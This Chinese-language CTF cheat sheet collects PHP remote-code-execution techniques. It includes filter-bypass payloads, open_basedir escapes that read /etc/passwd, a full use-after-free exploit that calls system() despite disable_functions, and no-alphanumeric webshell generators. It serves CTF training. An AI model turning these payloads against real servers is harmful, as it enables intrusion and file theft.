代码执行

 

代码执行

有回显

system()
passthru()
popen().read()
proc_open()

无回显

可以用echo 输出

exec() // 回显最后一行 必须echo输出,可以让它输出到一个数组里面
pcntl_exec()
``   //可以直接执行系统命令
shell_exec() // 必须输出

读取目录

glob

20211212182756

print_r(glob("*"));

glob(“*”) 匹配任意文件

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

用glob协议读取根目录下所有文件

scandir()

scandir(dirname(__FILE__)) //读取当前目录

bypass

关键字过滤(变量拼接)

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

. 点被过滤

chr(46) -> .

chr(rand())    -> char函数以256为一个周期取余,拿到46的概率为1/256
chr(time()) -> 1/256概率每256秒成功一次重放数据包不推荐
chr(current(localtime(time()))) -> 1/60概率每60秒成功一次重放不推荐
phpversion()
    仅限php7
    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

current(localeconv()) (推荐使用这种方法)

;被过滤

?>闭合代码

include(不用括号)或者require也一样

数字被过滤 可以改成字符串 不用加单引号也可以

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
<!-- | include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> -->

[]中括号被过滤

可以用{}来代替 可以操作数组array_pop($_POST)

() 括号被过滤

日志包含

<?=include '/var/l'.'og/nginx/access.lo'.'g'?> 

用不需要括号的函数

echo
require
<?=require~%d0%99%93%9e%98%d1%8b%87%8b?> //echo require "/flag.txt"
include

@ 代码不报错

echo@123;

~ 取反

echo~123;

^ 异或

echo^123;

函数被污染

和数字拼接

$v1=1;
$v3=$_GET['v3'];
$v2=1;
$code = eval("return $v1$v3$v2");
echo $code;

// 绕过
//  + - * / | 三目运算符(return 1 ? phpinfo() : 1)  还有(return 1==phpinfo()||1)
// $v3 可以取反 或运算 异或来绕过相关过滤

\ 绕过

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

// ctf为create_function会被匹配成功,开头和结尾要求用到非数字字母符号
//  用ctf=\create_function 可以绕过

\ 可以调用指定命名空间下的函数, 如果只是单独的一个 \ 就是调用根命名空间下的函数

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

namespace A\B;
function func () {
    return 'hello world!';
}
 
namespace C;
A\B\func();    // hello world!

输出内容

函数

echo
print
print_r
die
var_dump
var_export
非php文件
    include
    require
    copy('flag.php','flag.txt')
    rename('flag.php','flag.txt')

读取变量

var_dump(get_defined_vars())  //读取所有变量
var_dump(getenv()) //获取一个环境变量的值
echo $GLOBALS; //返回全局作用域中可用的全部变量

读取类(反射)

    $a=class kradress{
        public  var flag;
    }

    var_dump($a);
    //object(kradress)#1 (1) { ["flag"]=> int(1) }
    echo "<br>";
    echo(new Reflectionclass('kradress'));
    //Class [ class kradress ] { @@ D:\phpstudy_pro\WWW\cmd.php 4-6 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [1] { Property [ public $flag ] } - Methods [0] { } }

读取文件

var_dump(file_get_contents())
show_source()
highlight_file()
readfile()

exit截断

$c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();

知识点:

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

关于缓存区的,可以参考大佬博客

https://www.cnblogs.com/raobenjun/p/8086051.html

exit();
die();

参数逃逸

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=eval($_GET[1]);&1=system('nl flag.php');


??c=extract($_GET);&a=flag[一般情况下只能输出内容,没什么用];

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php
<!-- $$pi{abs}($$pi{acos})  #相当于 $_GET['abs']($_GET['acos'])
 -->

补充 关于extract的图

open_basedir限制(安全目录)

利用软连接,symlink()函数

<?php
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');
?>

利用ini_set()读取文件内容

chdir('..')的数量视情况而定,增减其数量直到进入根目录为止

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

实例化任意对象(ctfshow109-110)

UAF脚本

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function strlen_user($s){
        $ret = 0;
        for ($i=0; $i<1000000; $i++){
            if($s[$i]){
                $ret=$ret+1;
            }else{
                break;
            }
        }
        return $ret;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
//需要通过url编码哦  
//如果strlen被过滤 用strlen_user替换

用mysql load_file读取文件

一般用不到

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

FFI命令执行

php7.4 以上

$ffi = FFI::cdef("int system(const char *command);");// 创建一个system对象
$a='/readflag > 1.txt'; // 没有回显的
$ffi->system($a); // 通过$ffi去调用system函数

无字母RCE

用 & 和 运算
system(end(getallheaders()));

(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))((((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))))&(((1).(2)){1}|((1/0).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((2).(0)){0}){0})|(((0/0).(0)){1}))))()));

一键读取/readflag脚本

//readflag一键计算脚本
<?php
$d = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
    $d = fread($pipes[1], 1024);
    $d = fread($pipes[1], 1024);
    $d = explode("\n", $d);
    eval("\$result = $d[0];");
    eval("\$result = $d[0];");
    fwrite($pipes[0] , "$result\n");
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    var_dump(fread($pipes[1],1024));
    fclose($pipes[0]);
    fclose($pipes[1]);
    $r = proc_close($process);
    echo "result $r\n";
}
?>

php -c 1 -r "eval(base64_decode('JGQgPSBhcnJheSgKICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAyID0+IGFycmF5KCJmaWxlIiwgIi90bXAvZXJyb3IubG9nIiwgImEiKQopOwoKJGN3ZCA9ICIvIjsKJGVudiA9IGFycmF5KCk7CgokcHJvY2VzcyA9IHByb2Nfb3BlbigiL3JlYWRmbGFnIiwgJGQsICRwaXBlcywgJGN3ZCwgJGVudik7CmlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpCnsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZXhwbG9kZSgiXG4iLCAkZCk7CiAgICBldmFsKCJcJHJlc3VsdCA9ICRkWzBdOyIpOwogICAgZXZhbCgiXCRyZXN1bHQgPSAkZFswXTsiKTsKICAgIGZ3cml0ZSgkcGlwZXNbMF0gLCAiJHJlc3VsdFxuIik7CiAgICB2YXJfZHVtcChmcmVhZCgkcGlwZXNbMV0sMTAyNCkpOwogICAgdmFyX2R1bXAoZnJlYWQoJHBpcGVzWzFdLDEwMjQpKTsKICAgIHZhcl9kdW1wKGZyZWFkKCRwaXBlc1sxXSwxMDI0KSk7CiAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgJHIgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgIGVjaG8gInJlc3VsdCAkclxuIjsKfQ=='));"
或者echo "xx"|base64 -d|php执行

create_function()

create_function("$a, $b","return $a+$b;");
=>
function($a,$b){
    return $a+$b;
}
//案例
$code('', $arg); 

//演示
$code = return($a+$b);}eval($_POST[kradress]);//”
$f=create_function('$a, $b', $code);
相当于得到
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}

php原生类( new a(b) )

DirectoryIterator(遍历目录文件)

foreach遍历

<?php
//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//1、foreach直接循环
foreach ($dir as $file){
    if($file->isFile()){
        echo $file->getFilename()."<br />";
    }
}

while循环遍历

<?php
//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//2、while循环
while($dir->valid()){
    if($dir->current()->isFile()){
        echo $dir->current()->getFilename()."<br />";
    }
    $dir->next();
}

glob协议

//模糊匹配
echo new DirectoryIterator('glob://flag[a-z0-9]*.php');

SplFileObject(读取文件)

echo new SplFileObject('flag.php');

无数字字母RCE

临时文件上传

php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录(/tmp)下,上传完后会被删除。

PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

ctfshow web56

博客 https://blog.csdn.net/Kracxi/article/details/121766050

 .  相当于source 可以执行文件
` `   可以执行命令
[@-[]   可以表示任意大写字母 在ASCII码中  @ < A   , [  > Z  ,
<!-- 文件上传数据包 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload-POC</title>
</head>
<body>
<form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
    上传的文件在网站目录下
</form>
</body>
</html>

这个图是里面是命令执行system($c)的,代码执行eval($c)的话可以用短标签

c=?><?=`.%09/???/????????[@-[]`;
// ;被过滤的话用?>闭合

image-20220607224836657

无参数RCE

最推荐

GETeval(array_pop(next(get_defined_vars())));
GETeval(implode(next(get_defined_vars())));   //implode()把post中的数组转化为字符串
POST:1=[shell]

操作数组

     pos()  或current() 第一个元素
     end()  将内部指针指向数组中的最后一个元素并输出
     implode() - 将数组转化为字符串
     next()  将内部指针指向数组中的下一个元素并输出
     prev()  将内部指针指向数组中的上一个元素并输出
     reset()  将内部指针指向数组中的第一个元素并输出
     each()  返回当前元素的键名和键值并将内部指针向前移动
     array_reverse() -  将数组倒过来
     array_flip() - 把数值的键值交换
     array_rand() - 从数值中随机取一个键出来
     get_defined_vars() - 返回一个包含所有已定义变量列表的多维数组这些变量包括环境变量服务器变量和用户定义的变量
     array_pop() - 是删除并返回数组最后一个元素
     getenv() - 获取一个环境变量的值

array_reverse()

仅限于flag.php在数组的倒数第二个位置这种情况下

?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

array_rand(array_flip())

flag.php位置在哪都可以,但是他不是100%成功的,需要重放,概率问题

?exp=print_r(array_rand(array_flip(scandir(pos(localeconv())))));

get_defined_vars() // 最推荐的

get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序get->post->cookie->files

取get的最后一个参数:

end(pos(get_defined_vars()))

取post的最后一个参数:

end(next(get_defined_vars()))

getallheaders()

print_r((array_reverse(getallheaders())));

image-20220607224848365

print_r(end(array_reverse(getallheaders())));

在headers尾部添加任意 xxx: [shell]

20211212212617

system(end(getallheaders()));

用bp在host上方写入shell

20211212212648

session命令执行

受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

参考博客 ctfshow 40

https://blog.csdn.net/Kracxi/article/details/121041140

可以base64编码 但PHPSESSID不能有+号和空格

?c=session_start();eval(base64_decode(session_id()));

20211212213132

?c=session_start();system(session_id());

?c=show_source(session_id(session_start()));

php5

参考p神博客 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
_(___[_]); // assert($_POST[_]);

取反

利用UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是”\x8c”,其取反即为字母s:

20211212213332

<?php
$__=('>'>'<')+('>'>'<');  // ture+ture=2
$_=$__/$__;  //ture/ture=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

image-20220607225000743

递增运算

20211212213432

也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

<?php
$_=[];
$_=@"$*"; // $*='Array';
$_=$*['!'=='@']; // $*=$_[0];
$___=$_; // A
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$**++;$**++;$__++; // E
$___.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // P
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // S
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

php7

取反

(不取反的话会被url解码)

<?php
$a = "system";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")";
<?php
$a = "system";
$b = "tac flag.php";
echo "(~".urlencode(~$a).")(~".urlencode(~$b).");";

异或

<?php
$a = "phpinfo";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%ff";
}

递增

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 14:35:44
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 16:41:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;

eval($precode);


// 使用异或生成任意无字母数字代码
function createCode($code){
	global $precode;
	$ret = "";
	for ($i=0; $i < strlen($code); $i++) { 

		$c = $code[$i];
		if(ord($c)<97 || ord($c)>122){
			$ret .= "$c";
		}else{
			$ret .= '$'.str_repeat('_', ord($c)-96);
		}

		
	}
	return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}



echo createCode('system("tac flag.php");');
$_=('@'^'!');
$__=$_++;
$___=++$__;
$____=++$___;
$_____=++$____;
$______=++$_____;
$_______=++$______;
$________=++$_______;
$_________=++$________;
$__________=++$_________;
$___________=++$__________;
$____________=++$___________;
$_____________=++$____________;
$______________=++$_____________;
$_______________=++$______________;
$________________=++$_______________;
$_________________=++$________________;
$__________________=++$_________________;
$___________________=++$__________________;
$____________________=++$___________________;
$_____________________=++$____________________;
$______________________=++$_____________________;
$_______________________=++$______________________;
$________________________=++$_______________________;
$_________________________=++$________________________;
$__________________________=++$_________________________;
$_=('@'^'!');
("$___________________$_________________________$___________________$____________________$_____$_____________")("$____________________$_$___ $______$____________$_$_______.$________________$________$________________");
//("system")("tac flag.php");

注意点

eval不能被动态调用,php7里不能动态构造assert
eval和echo等,不是函数,而是语言构造器